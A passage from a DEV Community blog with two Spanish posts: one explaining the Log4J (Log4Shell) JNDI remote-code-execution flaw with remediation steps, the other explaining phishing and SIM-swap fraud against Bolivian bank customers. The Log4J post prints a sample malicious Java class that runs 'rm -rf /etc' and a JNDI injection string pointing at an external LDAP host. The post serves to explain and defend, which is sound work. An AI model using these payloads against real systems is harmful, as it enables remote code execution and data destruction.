DEV Community: Ernesto Campohermoso

Log4J: La vulnerabilidad más crítica del año.

Ernesto Campohermoso — Mon, 13 Dec 2021 19:42:11 +0000

El pasado 9 de diciembre se descubrió una vulnerabilidad que afecta a aquellas aplicaciones Java que utilizan la librería Log4J. Esta vulnerabilidad permite al atacante ejecutar código de forma remota (Remote Code Execution). A continuación se explica cómo funciona esta vulnerabilidad.

¿Qué es Log4J?

Log4J es una librería ampliamente utilizada en el mundo de desarrollo Java, se utiliza para guardar registros del funcionamiento de nuestra aplicación, los desarrolladores utilizamos estos registros posteriormente para: depurar errores, como pistas de auditoria, verificar como funcionó la aplicación en determinado contexto, etc.

Imagine que escribe una clase encargada de procesar una transferencia bancaria:

public class TransferBl {

    private FinancialCoreBl core;

    public TransferBl(FinancialCoreBl core) {
        this.core = core;
    }

    public void transfer(Account sourceAccount, 
                         Account targetAccount, 
                         BigDecimal amount ){

        // Obtenemos el balance actual de la cuenta origen.
        BigDecimal currentBalance = core.getBalanceForAccount(sourceAccount);

        // Verificamos que el importe a debitar NO sea mayor que el balance actual
        if (currentBalance.comparesTo(amount) < 0) {
            throw new TransferException("Insufficent funds");
        }

        // Verficamos que la cuenta destino exista y pueda recibir los fondos.
        boolean canReceiveFunds = core.canAccountReceiveFunds(targetAccount);

        if (!canReceiveFunds) {
            throw new TransferException("Target account cant receive funds");
        }

        // Se transfieren los fondos.
        core.transfer(sourceAccount, targetAccount, amount);

    }
}

El anterior cumple con su cometido, pero una entidad financiera puede procesar millones de operaciones al día. Entonces que pasa cuando un cliente llama al banco y menciona que no puede realizar la transferencia a pesar de colocar los datos correctamente, es posible que exista un error en nuestro código; para verificar este ultimo supuesto el equipo de soporte intentara revisar los registros de log, pero en nuestro ejemplo no emitimos ninguno, nuestro equipo de soporte se quedaría sin respuesta.

Es necesario registrar lo que nuestro código hace para futuras revisiones.

Entonces se decide cambiar el código para tener un registro de log que se pueda consultar a futuro, una primera opción sería utilizar System.out.println(), nuestro código quedaría así:

public class TransferBl {

    private FinancialCoreBl core;

    public TransferBl(FinancialCoreBl core) {
        this.core = core;
    }

    public void transfer(Account sourceAccount, 
                         Account targetAccount, 
                         BigDecimal amount ){

        // Obtenemos el balance actual de la cuenta origen.
        BigDecimal currentBalance = core.getBalanceForAccount(sourceAccount);

        // Verificamos que el importe a debitar NO sea mayor que el balance actual
        if (currentBalance.comparesTo(amount) < 0) {
            System.out.println("The balance of account " + sourceAccount 
                + " is insufficent, amount required: " + amount);
            throw new TransferException("Insufficent funds");
        }

        // Verficamos que la cuenta destino exista y pueda recibir los fondos.
        boolean canReceiveFunds = core.canAccountReceiveFunds(targetAccount);

        if (!canReceiveFunds) {
            System.out.println("The target account " + account + " can't receive funds.")
            throw new TransferException("Target account can't receive funds");
        }

        // Se transfieren los fondos.
        core.transfer(sourceAccount, targetAccount, amount);
        System.out.println("Successful transfer from: " + sourceAccount +
                  " to: " + targetAccount + 
                  ", amount:" + amount ); 
    }
}

Con esta modificación, el programa comienza a escribir en la salida estándar (usualmente la consola). Con estas modificaciones el equipo de soporte puede buscar la cuenta origen del cliente y determinar si el problema fue de fondos o si la cuenta destino no podía recibir los mismos, el equipo de soporte vería algo así:

Successful transfer from: 1232131233 to: 7728212333, amount 100.00.
The balance of account: 1237677123 is insufficent, , amount required: 2123.99
Successful transfer from: 2812191282 to: 9921233331, amount 1234.00.
The target account: 1237677123 can't receive funds.
Successful transfer from: 8812312333 to: 1232131333, amount 889.20.

En este punto se ha brindado visibilidad de lo que hace nuestro programa, pero no es la única clase en el mismo (usualmente existen miles de ellas), y tenemos nuevas necesidades:

El equipo de soporte no puede estar revisando la consola, a pesar de que puede redireccionar el contenido a un archivo de texto, este crecería de forma desordenada. Necesitamos que los registros de log se escriban en: ficheros de texto, bases de datos u otros repositorios de datos.
No todos los registros de log tienen la misma prioridad, es posible que ante determinados errores deseemos enviar una notificación a la app de mensajería de la empresa, para que el equipo de soporte verifique el estado de salud de nuestra aplicación.
Es importante identificar en que línea de código se emitió cierto registro de log, para una depuración mas sencilla.

El listado anterior, son solo una muestra de las capacidades que nos brinda Log4J a la hora de emitir registros del Log.

Nuestro código se podría reescribir de la siguiente manera:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TransferBl {

    private FinancialCoreBl core;

    private static final Logger LOG = LogManager.getLogger(TransferBl.class);

    public TransferBl(FinancialCoreBl core) {
        this.core = core;
    }

    public void transfer(Account sourceAccount, 
                         Account targetAccount, 
                         BigDecimal amount ){

        // Obtenemos el balance actual de la cuenta origen.
        BigDecimal currentBalance = core.getBalanceForAccount(sourceAccount);

        // Verificamos que el importe a debitar NO sea mayor que el balance actual
        if (currentBalance.comparesTo(amount) < 0) {
            LOG.warn("The balance of account {}  is insufficent, amount required: {} ",
                       sourceAccount,   amount);
            throw new TransferException("Insufficent funds");
        }

        // Verficamos que la cuenta destino exista y pueda recibir los fondos.
        boolean canReceiveFunds = core.canAccountReceiveFunds(targetAccount);

        if (!canReceiveFunds) {
            LOG.warn("The target account {}, can't receive funds.", account )
            throw new TransferException("Target account can't receive funds");
        }

        // Se transfieren los fondos.
        core.transfer(sourceAccount, targetAccount, amount);
        LOG.INFO("Successful transfer from:  {} to: {}, amount: {}",
                  sourceAccount, targetAccount, amount ); 
    }
}

La inclusión de la librería requirió de modificaciones menores en nuestro código, adicionalmente nos permite clasificar los registro de log por importancia (debug, info, warn, error, fatal). También nos permite escribir los mensajes sin utilizar el operador mas (+) para concatenar, esto ultimo es importante y esta relacionado con la vulnerabilidad. Luego de configurar la herramienta nuestros logs pueden guardarse en archivos de texto, bases de datos, o si quisiéramos: envíe un correo electrónica para los errores de tipo fatal, visualizándolos de forma mas legible:

17:13:01.540 [thread-1] INFO net.cirrus.it.TransferBl Successful transfer from: 1232131233 to: 7728212333, amount 100.00.
17:13:01.600 [thread-2] WARN net.cirrus.it.TransferBl The balance of account: 1237677123 is insufficent, , amount required: 2123.99
17:13:02.440 [thread-3] INFO net.cirrus.it.TransferBl Successful transfer from: 2812191282 to: 9921233331, amount 1234.00.
17:13:02.930 [thread-4] WARN net.cirrus.it.TransferBl The target account: 1237677123 can't receive funds.
17:13:03.110 [thread-1] INFO net.cirrus.it.TransferBl Successful transfer from: 8812312333 to: 1232131333, amount 889.20.

¿Todos los programa Java utilizan Log4J?

No. Afortunadamente en Java tenemos una variedad de librerías que sirven para este mismo propósito con sus ventajas y desventajas. De hecho existe la herramienta SL4J que permite programar de forma tal que luego se pueda configurar la librería de gestión de logs. Algunas de ellas son:

Log4J
Java Logging API
tinylog
Logback

ADVERTENCIA

Sin embargo: Log4J es una de las librerías mas utilizadas por la comunidad Java.

¿Cómo se explota la vulnerabilidad?

En este punto queda claro que los programas realizan registros de log para poder realizar un seguimiento al funcionamiento de los mismos; también es fácil de entender que es muy probable que los programadores registren en el log los valores introducidos por el usuario para determinar como se comporta el programa, es en este punto donde Log4J tuvo el problema.

Reemplazo de variables

¿Recuerda que Log4J nos facilitaba el registro de logs?:

// Sin Log4J 
System.out.println("Successful transfer from: " + sourceAccount +
                  " to: " + targetAccount + 
                  ", amount:" + amount );

// Con Log4J
LOG.INFO("Successful transfer from: {} to: {}, amount: {}",
                  sourceAccount, targetAccount, amount );

Log4J nos permite incluir {}, donde queramos imprimir una variable. Esta forma de imprimir variables es conveniente y se utiliza en la mayoría de herramientas de registros de log.

Parametrización de configuraciones

Log4J permite parametrizar sus configuraciones (por ejemplo en que carpeta se depositaran los logs), reemplazando valores desde diversas fuentes: variables de entorno del sistema operativo, archivos de configuración, Kubernetes, JNDI, etc.. Es esta ultima característica JNDI Lookup la que puede ser explotada. JNDI es una librería que permite consultar variables de árboles de directorios como ActiveDirectory, es muy utilizada en entornos Java Enterprise Edition.

La idea es colocar la dirección de una variable en el LDAP para que esta sea reemplazada en la configuración, así lo siguiente:

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>

Consultoría en el LDAP interno del servidor de aplicaciones (Weblogic, Wildfly, Websphere, etc) el valor logging/context-name para colocarlo en los mensajes de log.

El problema es que la invocación JNDI no se limita al LDAP interno, sino que puede invocar a LDAPs externos, por ejemplo: $${jndi:ldap://10.0.0.1:1389/o=context-name}.

JNDI y LDAP no solo sirven para consultar parámetros.

Una característica, que se debe utilizar con cuidado, de JNDI y LDAP es que los directorios ademas de almacenar variables comunes (cadenas, enteros, decimales, etc.), también pueden almacenar objetos Java, los que por medio de Serialization permiten cargar código remoto, así si por ejemplo en $${jndi:ldap://10.0.0.1:1389/o=remote-object}, se tiene almacenada la siguiente clase:

public class RemoteObject implements javax.naming.spi.ObjectFactory {
    public RemoteObject() {
            Runtime.getRuntime().exec("rm -rf /etc");
    }
}

Al consultar esa ruta LDAP via JNDI, nuestro programa intentaría eliminar el contenido de la carpeta /etc. En realidad podría ejecutar cualquier comando.

JNDI y el reemplazo de variables.

Sucede que las versiones 2.0-beta9 <= Apache log4j <= 2.14.1 al momento de realizar el reemplazo de variables, si en una cadena tienen el siguiente formato: ${jndi:ldap://REMOTE_SERVER:PORT/PATH} intentarán realizar un lookup JNDI al servidor remoto en la ruta específica, si el servidor remoto es un servidor malicioso puede responder con una clase Java serializada con código malicioso.

Entonces repasémoos cómo funciona la vulnerabilidad.

Los desarrolladores utilizan una versión afectada de Log4J para registrar lo que él usuario ingresa en la interfaz de usuario.
El atacante conoce que el sistema es vulnerable, luego comienza a utilizar la aplicación guardando, por ejemplo en un formulario de registro, en lugar de nombre, apellido o dirección el valor: ${jndi:ldap://131.0.196.58:1389/o=RemoteCode}
Log4J procesa la cadena por reemplazo de variables, e intenta contactar con el servidor remoto malicioso.
Nuestro código descarga el código malicioso y lo ejecuta.

Es difícil montar un servidor JNDI malicioso

NO. De hecho este proyecto demuestra lo sencillo que es: https://github.com/veracode-research/rogue-jndi.

¿Cómo resolver la vulnerabilidad?

Los programadores que dan mantenimiento a Log4J 2 ya han liberado la versión 2.15, lo mas recomendable es actualizar nuestro software a esta versión.

Amazon a liberado un agente que permite colocar un parche para remediar la vulnerabilidad, lo bueno de este agente es que permite una corrección sin parar la aplicación.

Si no puede actualizar la librería, RedHat ha publicado instrucciones sobre cómo mitigar el problema.

¿Es seguro realizar operaciones por banca digital en Bolivia?

Ernesto Campohermoso — Tue, 19 Oct 2021 14:36:54 +0000

El pasado domingo 17 de octubre, el periódico Página 7 publicó una noticia indicando que al menos 14 personas sufrieron un robo virtual de sus cuentas del Banco Unión S.A.; esta noticia inmediatamente provocó dudas y susceptibilidades en la población respecto a sí: ¿Es seguro realizar operaciones por Banca Digital en Bolivia?

En CIRRUS IT SRL, hemos construido una plataforma de banca digital : https://bancadigital.com.bo, en base a esta experiencia, a continuación tratare de responder algunas preguntas que nos realizaron en estos días:

¿Es posible despertar un día y constatar que existan transferencias de dinero, desde mi cuenta, que yo no hice?

Si es posible. En este caso lo más probable es que usted haya sido víctima de un ataque, en el que por medio de un sitio falso le hayan capturado su usuario y contraseña de Banca Digital, a este tipo de ataques se los denomina Phishing (mas adelante se explica en detalle y con ejemplos).

¿Puede un funcionario o empleado de una Entidad Financiera tener acceso a mi información personal?

No sin control. En tecnología existen estándares internacionales de seguridad para gestionar quienes pueden acceder a la información de los clientes. Además la Autoridad del Sistema Financiero también establece normas con las condiciones mínimas de seguridad que deben cumplir las Entidades Financieras (ver. sección 4) . El cumplimiento de estas normas son verificadas periódicamente por auditorias externas contratadas por las Entidades Financieras y también por auditorias realizadas por las ASFI.

A pesar del control que realizan las Entidades Financieras: ¿Puede un funcionario o empleado tener acceso a mi contraseña de Banca Digital?

No. A menos que se trate de un error grave de diseño (lo cual no ocurre por lo explicado anteriormente), los sistemas de Banca Digital no almacenan su contraseña. Existen algoritmos criptográficos, denominados (funciones hash)[https://latam.kaspersky.com/blog/que-es-un-hash-y-como-funciona/2806/], que permiten almacenar una representación diferente de su contraseña, si alguien tuviera acceso a esta representación es imposible transformarla de nuevo en su contraseña original.

Entonces: ¿Cómo alguien puede acceder a mi cuenta de Banca Digital?

Phishing. Este tipo de ataque es muy común a nivel mundial y Bolivia no es la excepción, los atacantes (ladrones) construyen un sitio con aspecto idéntico al de su Entidad Financiera, luego le envían mensajes por: correo electrónico, WhatsApp, SMS o publicidad en redes sociales; para que usted ingrese a ellos creyendo que está en el sitio de su banco, y de esta manera ingrese su usuario y contraseña, es en este momento donde usted pierde sus credenciales de acceso y los atacantes tienen acceso a sus cuentas digitales.

Veamos algunos ejemplos en Bolivia.

Phishing utilizando publicidad en redes sociales, buscando atacar a clientes del Banco Nacional de Bolivia.

Analice la siguiente publicidad reportada por un usuario de Twitter:

Luis Ernesto

@theflakitonet

Cuidado, está circulando está página con publicidad pagada, con un dominio diferente al oficial, te redirige a un portal login para colocar tus datos y uno que está bloqueado en la página oficial del banco, ni como avisarles.

19:23 PM - 13 Oct 2021

A simple vista parece una oferta legitima del BNB, pero el el enlace en la parte inferior del arte dice: https://BBNPORTALPRINCIPAL.COM, no se trata de una publicidad emitida por BNB, si algún usuario despistado hiciera click en la publicidad lo llevaría a un sitio falso con la misma interfaz que la del BNB:

Phishing utilizando publicidad en redes sociales, buscando atacar a clientes del Banco Unión.

El ODIB documentó el siguiente ataque: El pasado año se emitió el Bono contra el hambre, mismo que fue cancelado directamente en cuentas bancarias, atacantes aprovecharon la oportunidad y la premura de las personas para cobrarlo, publicaron el siguiente anuncio haciéndose pasar por el Ministerio de Trabajo. luego de que el usuario hiciera clic, lo derivaba a una página falsa con un aspecto similar a la Banca Digital del Banco Unión:

¿Puede un atacante realizar transferencias solo con mi usuario y contraseña?

No. El Banco Central de Bolivia mediante Circular Externa establece que las transferencias deben cumplir un proceso de doble factor de autenticación para confirmar una trasferencia bancaria. El doble factor de autenticación consiste en que el banco debe realizar al menos dos de los siguientes tres controles, para verificar la identidad del usuario:

Verificar "algo que se": Este control se lo realiza con el usuario y contraseña, que debería ser un dato que únicamente usted conoce.
Verificar "algo que tengo": Este control se lo realiza de diferente formas siendo las mas comunes: El envío de un SMS a su celular (que es algo que solo usted tiene) o con el ingreso de un código de un solo uso (que se genera mediante una aplicación separada o generadores físicos).
Verificar "algo que soy": Este control puede realizarse de manera biométrica, hoy en día no se utiliza este medio en Bolivia.

Entonces: ¿Cómo realizaron el ataque a los clientes del Banco Unión?

Parte de los clientes del Banco Unión utiliza como método de doble factor los mensajes SMS, desafortunadamente este medio tiene el inconveniente de que las empresas telefónicas proporcionan medios convenientes para la obtención del chip en caso de pérdida de teléfonos.

Tigo: permite a travez de sus Tigomatic (maquinas de autoservicio similares a los cajeros automáticos), obtener el chip de cualquier persona proporcionando su número de celular, fecha de nacimiento, numero de carnet y numero de teléfono.
Entel: Permite recabar el chip a terceros, siempre y cuando presenten una fotocopia de carnet del titular, una carta remitida por el titular y una fotocopia de carnet del que recibe el chip.

Pero: ¿Cómo obtuvieron los atacantes los datos personales de las victimas?

Desafortunadamente en Bolivia no existe una normativa de protección a los datos personales y su tratamiento, como por ejemplo en Europa. Esto hace que las empresas e instituciones publicas no sigan procedimientos adecuados para custodiar nuestros datos. Algunos ejemplos de dónde se encuentran nuestros datos:

Todos los tramites del gobierno y entidades privadas donde nos piden varias fotocopias de carnet (algunos también piden que coloquemos nuestro numero de teléfono), para absolutamente todo. ¿Se ha puesto a pensar cuántas fotocopias de carnet a entregado en los últimos años?.
Acceso a nuestros datos directamente desde el SEGIP, mediante normativa las instituciones del estado tienen acceso a nuestra información. El SEGIP tambien tiene convenios con Entidades Financieras para que ellas puedan consultar nuestros datos sin solicitarnos consentimiento.
Ataques de phishing (si otra vez) para captar nuestros datos personales, por ejemplo estos anuncios:

Bolivia V.

@boliviaverif1ca

Toyota Bolivia no emitió un link sobre «celebración del 100 aniversario».

Se trata de una página phishing, mediante la cual se extraen datos confidenciales. Por favor, no ingrese a enlaces desconocidos.

#BoliviaVerifica #Bolivia #Falso

16:15 PM - 06 Apr 2021

Bolivia V.

@boliviaverif1ca

¿Te llegó un link con el anuncio de que Entel tiene regalos para sus clientes? No des clic, es phishing

¿Quieres saber más? >> bit.ly/3cFWtnu

#BoliviaVerifica #Bolivia #Falso

20:14 PM - 04 Feb 2021

Bolivia V.

@boliviaverif1ca

No hay vacantes laborales para junio en la empresa Coca Cola @Embol_Bolivia, esta convocatoria es falsa.

Un experto advierte que se trata de un caso de phishing y aconseja qué hacer en caso de haber instalado la extensión que solicita la página.
Lee más: bit.ly/3ftap56

19:00 PM - 27 May 2021
Y si lo anterior no fuera poco, Facebook filtro los datos personales de 533 millones de usuarios. Estos datos están disponibles en el mercado negro para que los atacantes puedan comprarlos. Si usted desea saber si sus datos son públicos puede ingresar su numero de celular (con el prefijo +591) en el siguiente sitio: https://haveibeenpwned.com (no ingrese otro dato, no confié en otros sitios), por ejemplo en mi caso, toda mi información fue filtrada por Facebook:

¿Es seguro realizar operaciones por banca digital en Bolivia?

Si, pero debemos ser cuidadosos con nuestra información. Las Entidades Financieras poseen la tecnología y los controles para brindar las condiciones adecuadas de seguridad, pero si nosotros no somos cuidadosos con nuestra información podemos ser víctimas de delincuentes, a continuación algunas recomendaciones.

Nunca ingrese su usuario y contraseña en ningún sitio, a menos que usted haya abierto el navegador y colocado el sitio web de su banco.
Nunca ingrese sus datos personales en enlaces enviados por correo electrónico, SMS, WhatsApp, redes sociales u otros.
No utilice la misma contraseña en sus cuentas digitales, porque si se filtran sus credenciales de un sitio queda expuesto en los demás.
Cambie periódicamente su contraseña de acceso a las cuentas digitales sensibles.
Solicite a su Entidad Financiera que le habiliten un método alternativo al SMS para confirmar operaciones, por ejemplo los clientes del Banco Unión pueden habilitar Unitoken.
Si es usuario de Tigo solicite que no puedan recuperar su chip desde Tigomatic.